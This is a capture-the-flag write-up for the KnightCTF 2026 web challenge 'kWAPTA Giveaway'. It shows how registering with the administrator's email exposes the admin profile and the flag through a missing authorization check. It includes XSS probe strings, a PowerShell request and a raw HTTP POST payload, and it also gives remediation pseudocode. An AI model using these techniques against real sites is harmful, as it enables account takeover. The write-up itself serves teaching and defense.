kWAPTA Giveaway - Web Challenge#

Challenge: kWAPTA Giveaway
Category: Web Security

Challenge Description#

The admin got your flag.

Connection Info: http://45.56.66.96:8765/

Initial Reconnaissance#

The challenge presents a “KnightSquad Academy” student portal with the following features:

Home page
Student registration
Profile page

The hint “The admin got your flag” suggests we need to access the administrator’s account or data.

Portal Structure#

1
http://45.56.66.96:8765/
2
├── index.html (Welcome page)
3
└── portal.php
4
    ├── ?page=home (Main page)
5
    ├── ?page=register (Registration form)
6
    └── ?page=profile (User profile)

Vulnerability Analysis#

Testing the Registration Form#

The registration form accepts two inputs:

Full name (text field)
Email address (email field)

Initial tests showed that both fields properly escape HTML/JavaScript, preventing XSS attacks:

1
# XSS attempt in name field
2
Name: <script>alert(1)</script>
3
Result: &lt;script&gt;alert(1)&lt;/script&gt; (Properly encoded)
4

5
# XSS attempt in email field
6
Email: <img src=x onerror=alert(1)>
7
Result: &lt;img src=x onerror=alert(1)&gt; (Properly encoded)

Exploring Other Attack Vectors#

Several attack vectors were tested:

❌ Reflected XSS in page parameter - Not vulnerable
❌ LFI (Local File Inclusion) - Not vulnerable
❌ SSTI (Server-Side Template Injection) - Not vulnerable
❌ SQL Injection - No database errors observed

The Breakthrough: IDOR Discovery#

The support section on the home page revealed the administrator’s email:

1
If you run into any issues with your account, please contact
2
the portal administrator at admin@knightsquad.academy

This led to testing an IDOR (Insecure Direct Object Reference) vulnerability: What happens when we register using the admin’s email?

Exploitation#

Step 1: Register with Admin Email#

Using PowerShell to test the theory:

1
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
2
$body = @{
3
    name='Test User'
4
    email='admin@knightsquad.academy'
5
}
6
$response = Invoke-WebRequest -Uri "http://45.56.66.96:8765/portal.php?page=register" `
7
    -Method POST -Body $body -WebSession $session -UseBasicParsing

Step 2: Access the Profile#

When visiting the profile page after registering with admin@knightsquad.academy, instead of creating a new student account, the application returned the administrator’s profile!

The Vulnerability#

The application logic flaw:

Registration checks if the email exists
If email matches admin’s email → displays admin profile
No authentication check to verify if the current user IS the admin
The flag is displayed directly in the admin’s profile

Solution#

Final Payload:

1
POST /portal.php?page=register HTTP/1.1
2
Host: 45.56.66.96:8765
3
Content-Type: application/x-www-form-urlencoded
4

5
name=anything&email=admin@knightsquad.academy

Response reveals:

1
<div class="card">
2
    <h1>Profile</h1>
3
    <h2>Administrator</h2>
4
    <p class="muted">
5
        Requested Student ID:
6
        <span class="id-badge">STU-557309</span>
7
    </p>
8
    <div class="profile-field">
9
        <strong>Name:</strong> Admin
10
    </div>
11
    <div class="profile-field">
12
        <strong>Email:</strong> admin@knightsquad.academy
13
    </div>
14
    <div class="profile-field">
15
        <strong>Role:</strong> Portal Administrator
16
    </div>
17
    <hr>
18
    <h3>Internal Note</h3>
19
    <p><strong>Flag:</strong> KCTF{c0ngr4tul4t10ns_y0u_f0und_th3_fl4g!}</p>
20
</div>

Flag#

1
KCTF{c0ngr4tul4t10ns_y0u_f0und_th3_fl4g!}

Vulnerability Type#

IDOR (Insecure Direct Object Reference)

The application allows users to access administrative profiles by simply providing the admin’s email address during registration, without proper authorization checks.

Key Takeaways#

Authorization vs Authentication: The application authenticates the session but fails to authorize access to admin-only resources
IDOR Prevention: Always verify that the current user has permission to access the requested resource
Email Disclosure: Publicly displaying admin email addresses can facilitate IDOR attacks
Principle of Least Privilege: Users should only access resources they own

Remediation#

1
// Vulnerable code (pseudocode)
2
if ($_POST['email'] == ADMIN_EMAIL) {
3
    display_profile(admin_profile);  // ❌ No auth check!
4
}
5

6
// Secure code (pseudocode)
7
if ($_POST['email'] == ADMIN_EMAIL) {
8
    if (current_user_role() == 'admin') {  // ✅ Verify authorization
9
        display_profile(admin_profile);
10
    } else {
11
        display_error("Access denied");
12
    }
13
}

Tools Used#

PowerShell (Invoke-WebRequest)
Web Browser
Manual testing

References#

Author: MR. Umair
Date: January 21, 2026
CTF: KnightCTF 2026